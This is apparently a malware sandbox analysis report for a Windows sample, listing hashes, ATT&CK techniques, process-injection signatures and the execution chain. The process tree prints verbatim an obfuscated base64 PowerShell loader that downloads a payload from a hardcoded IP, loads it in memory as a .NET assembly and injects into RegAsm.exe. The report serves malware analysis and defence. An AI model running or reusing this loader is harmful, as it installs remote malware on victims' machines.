84ade85f5b49b00b37df593a973170eb31c3fd771b40f4c753fe9dc1560f5cd8

Analysis

max time kernel
148s
max time network
13s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
15/07/2026, 02:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file.exe
Size 1.5MB
Sample260715-dfbbbaat7m
SHA256 84ade85f5b49b00b37df593a973170eb31c3fd771b40f4c753fe9dc1560f5cd8
MD5 194fc7dd9b9d09ced1dbf65f6c504c19
SHA1 61588a233d41e6f3c5dc837d8eb76eb42c37dff6
SHA512 79d0a283fe56b8dbaca49311ba93ba7b3ed38c918b7ec22772c548400ac027109e71cca03024e5b6f619fa163176209c5da4b5c0e25afce0d5d910f3fec9289c
SSDEEP 24576:HJy81JhKMVSJXDSZhsBYzym3/QBele5yKD9e++vRbui:HJZDhKKSxSEBYzV2KvRbr
TLSH
T1F075280BBCD009F6D4AA9232896761517B72BC490F3127D73AA0B27C2F727E49E75748
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
1	2300	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2300	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2300 set thread context of 4084	2300	powershell.exe	90

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2300	powershell.exe
2300	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2300	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2756 wrote to memory of 2060	2756	file.exe	87
PID 2060 wrote to memory of 2300	2060	wscript.exe	88
PID 2300 wrote to memory of 4084	2300	powershell.exe	90
PID 2300 wrote to memory of 4084	2300	powershell.exe	90
PID 2300 wrote to memory of 4084	2300	powershell.exe	90
PID 2300 wrote to memory of 4084	2300	powershell.exe	90
PID 2300 wrote to memory of 4084	2300	powershell.exe	90
PID 2300 wrote to memory of 4084	2300	powershell.exe	90

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2756
- C:\Windows\System32\wscript.exe
  wscript.exe //E:vbscript //B "C:\Users\Admin\AppData\Local\Microsoft\Windows\342352.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2060
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$ondoiw ='WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAZgB1AG4AYwB0AGkAbwBuACAAZABsAHsAcABhAHIAYQBtACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAHUAcgBsAEwAaQBzAHQAKQBmAG8AcgBlAGEAYwBoACgAJABjAHUAcgByAGUAbgB0AFUAcgBsACAAaQBuACAAJAB1AHIAbABMAGkAcwB0ACkAewB0AHIAeQB7ACQAcgBlAHEAdQBlAHMAdAA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEMAcgBlAGEAdABlACgAJABjAHUAcgByAGUAbgB0AFUAcgBsACkAOwAkAHIAZQBzAHAAbwBuAHMAZQA9ACQAcgBlAHEAdQBlAHMAdAAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQAoACkAOwAkAHIAZQBzAHAAbwBuAHMAZQBTAHQAcgBlAGEAbQA9ACQAcgBlAHMAcABvAG4AcwBlAC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlAFMAdAByAGUAYQBtACgAKQA7ACQAbQBlAG0AUwB0AHIAZQBhAG0APQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAkAHIAZQBzAHAAbwBuAHMAZQBTAHQAcgBlAGEAbQAuAEMAbwBwAHkAVABvACgAJABtAGUAbQBTAHQAcgBlAGEAbQApADsAJAByAGUAcwBwAG8AbgBzAGUALgBDAGwAbwBzAGUAKAApADsAJAByAGEAdwBCAHkAdABlAHMAPQAkAG0AZQBtAFMAdAByAGUAYQBtAC4AVABvAEEAcgByAGEAeQAoACkAOwAkAHIAYQB3AFQAZQB4AHQAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAByAGEAdwBCAHkAdABlAHMAKQA7AGkAZgAoACQAcgBhAHcAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwApAC0AZwBlADAAIAAtAGEAbgBkACAAJAByAGEAdwBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAKQAtAGcAdAAwACkAewByAGUAdAB1AHIAbgAgACQAcgBhAHcAQgB5AHQAZQBzAH0AfQBjAGEAdABjAGgAewBjAG8AbgB0AGkAbgB1AGUAfQB9AHIAZQB0AHUAcgBuACAAJABuAHUAbABsAH0ADQAKACQAcAByAG8AdABvAGMAbwBsAD0AJwBoAHQAdABwACcAOwAkAHMAZQBwAGEAcgBhAHQAbwByAD0AJwA6AC8ALwAnADsAJABiAGEAcwBlAFUAcgBsAD0AJABwAHIAbwB0AG8AYwBvAGwAKwAkAHMAZQBwAGEAcgBhAHQAbwByADsAJABoAG8AcwB0AFAAYQByAHQAPQAnADEAOQAyAC4AMQA2ADIALgAxADkAOQAuADcAOAAnADsAJABwAGEAdABoAFAAYQByAHQAPQAnAC8AcAB1AGIAbABpAGMAXwBmAGkAbABlAHMALwAnADsAJABmAGkAbABlAFAAYQByAHQAPQAnAHcAZABzAG8AcwAuAGoAcABnACcAOwAkAHEAdQBlAHIAeQBQAGEAcgB0AD0AJwA/ADEAMgA3ADEAMQAzADEAMwAnADsAJABmAHUAbABsAFUAcgBsAD0AJABwAHIAbwB0AG8AYwBvAGwAKwAkAHMAZQBwAGEAcgBhAHQAbwByACsAJABoAG8AcwB0AFAAYQByAHQAKwAkAHAAYQB0AGgAUABhAHIAdAAd@ACQAZgBpAGwAZQBQAGEAcgB0ACsAJABxAHUAZQByAHkAUABhAHIAdAA7ACQAbABpAG4AawBBAHIAcgBhAHkAPQBAACgAJABmAHUAbABsAFUAcgBsACkAOwAkAHAAYQB5AGwAbwBhAGQAQgB5AHQAZQBzAD0AZABsACAAJABsAGkAbgBd@AEEAcgByAGEAeQA7AGkAZgAoACQAcABhAHkAbABvAGEAZABCAHkAdABlAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApAHsAJABwAGEAeQBsAG8AYQBkAFQAZQB4AHQAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABwAGEAeQBsAG8AYQBkAEIAeQB0AGUAcwApADsAJABzAHQAYQByAHQATQBhAHIAawBlAHIAPQAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAZQBuAGQATQBhAHIAawBlAHIAPQAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAHQAYQByAHQAUABvAHMAPQAkAHAAYQB5AGwAbwBhAGQAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAHMAdABhAHIAdABNAGEAcgBd@AGUAcgApADsAJABlAG4AZABQAG8AcwA9ACQAcABhAHkAbABvAGEAZABUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQATQBhAHIAawBlAHIAKQA7AGkAZgAoACQAcwB0AGEAcgB0AFAAbwBzACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAZQBuAGQAUABvAHMAIAAtAGcAdAAgACQAcwB0AGEAcgB0AFAAbwBzACkAewAkAHMAdABhAHIAdABQAG8AcwAd@AD0AJABzAHQAYQByAHQATQBhAHIAawBlAHIALgBMAGUAbgBnAHQAaAA7ACQAcwBlAGcAbQBlAG4AdABMAGUAbgBnAHQAaAA9ACQAZQBuAGQAUABvAHMALQAkAHMAdABhAHIAdABQAG8AcwA7ACQAZQBuAGMAbwBkAGUAZABQAGEAeQBsAG8AYQBkAD0AJABwAGEAeQBsAG8AYQBkAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AFAAbwBzACwAJABzAGUAZwBtAGUAbgB0AEwAZQBuAGcAdABoACkAOwAkAGMAbwByAGUAQQBzAHMAZQBtAGIAbAB5AD0AWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ARwBlAHQAQQBzAHMAZQBtAGIAbABpAGUAcwAoACkAfAA/AHsAJABfAC4ARgB1AGwAbABOAGEAbQBlACAALQBtAGEAdABjAGgAIAAnAG0AcwBjAG8AcgBsAGkAYgAnAH0AOwAkAGMAbwBuAHYAZQByAHQAVAB5AHAAZQA9ACQAYwBvAHIAZQBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAJwApADsAJABmAHIAbwBtAEIAYQBzAGUANgA0AD0AJABjAG8AbgB2AGUAcgB0AFQAeQBwAGUALgBHAGUAdABNAGUAdABoAG8AZAAoACcARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAnACkAOwAkAGQAZQBjAG8AZABlAGQAQgB5AHQAZQBzAD0AJABmAHIAbwBtAEIAYQBzAGUANgA0AC4ASQBuAHYAbwBd@AGUAKAAkAG4AdQBsAGwALABAACgAJABlAG4AYwBvAGQAZQBkAFAAYQB5AGwAbwBhAGQAKQApADsAJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkAPQBbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABkAGUAYwBvAGQAZQBkAEIAeQB0AGUAcwApADsAJAB0AGEAcgBnAGUAdABUAHkAcABlAD0AJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwB0AGUAcwB0AHAAbwB3AGUAcgBzAGgAZQBsAGwALgBqAGQAcQBd@AHcAagBkAHMAJwApADsAJABtAGUAdABoAE4AYQBtAGUAIAA9ACAAJwBsAGYAcwAnACsAJwBnAGUAZAAnACsAJwBkAGQAZABkAGQAZAAnACsAJwBhACcAOwAgACQAbQBlAHQAaABvAGQAIAA9ACAAJAB0AGEAcgBnAGUAdABUAHkAcABlAC4ARwBlAHQATQBlAHQAaABvAGQAKAAkAG0AZQB0AGgATgBhAG0AZQApAC4ASQBuAHYAbwBd@AGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACcAdAB4AHQALgB6AHQATQBFAHgAeABBAC8AcwBlAGwAaQBmAF8AYwBpAGwAYgB1AHAALwA4ADcALgA5ADkAMQAuADIANgAxAC4AMgA5ADEALwAvADoAJwAsACAAJwAwACcALAAgACcATQBKAFkAaABGAG4AVwBCAGUAJwAsACAAJwAwACcAKQApAH0AfQA=';$asfjdwWDS = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ondoiw.replace('d@','r') ));& ([scriptblock]::Create($asfjdwWDS))
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2300
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe"
      4⤵
      PID:4084

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

342352.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\342352.txt
Size 26KB
SHA256 ebb2b16fda98c52f9a3a882d00bb73aeff56c928e54f0ba99480b008e135674f
MD5 ba9db19595f949ec3998a72b62d4bf87
SHA1 3e06b196cfe12b15f564059524339a7044feb85d
SHA512 86c5184f265ce9dfecdf52bd5e1c16a2de8ac083e1dbe67df1d0e079224ea749c2c0ba10d7be6d29cdee4f68be07ec6668e42f8e8454fbc86724149940cb994b
SSDEEP 768:KBPyavd+74sBa15t6wWlQgrhrFSfFhMyKeZ:M9+7tmtEzlroQEZ
TLSH
T1CFC2D716C914AEF00B7F6156DC472C4A85A0432966343E0DB5CEAA9C2F79365CFCA1EF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2300-11-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

Download

memory/2300-14-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

Download

memory/2300-6-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

Download

memory/2300-7-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

Download

memory/2300-8-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

Download

memory/2300-9-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

Download

memory/2300-5-0x0000016995080000-0x00000169950A2000-memory.dmp

Download

memory/2300-12-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

Download

memory/2300-10-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

Download

memory/2300-13-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

Download

memory/2300-2-0x00007FF9BC2AF000-0x00007FF9BC2B0000-memory.dmp

Download

memory/2300-15-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

Download

memory/2300-16-0x00000169AD560000-0x00000169AD56E000-memory.dmp

Download

memory/2300-19-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

Download

memory/4084-17-0x0000000360000000-0x0000000360228000-memory.dmp

Download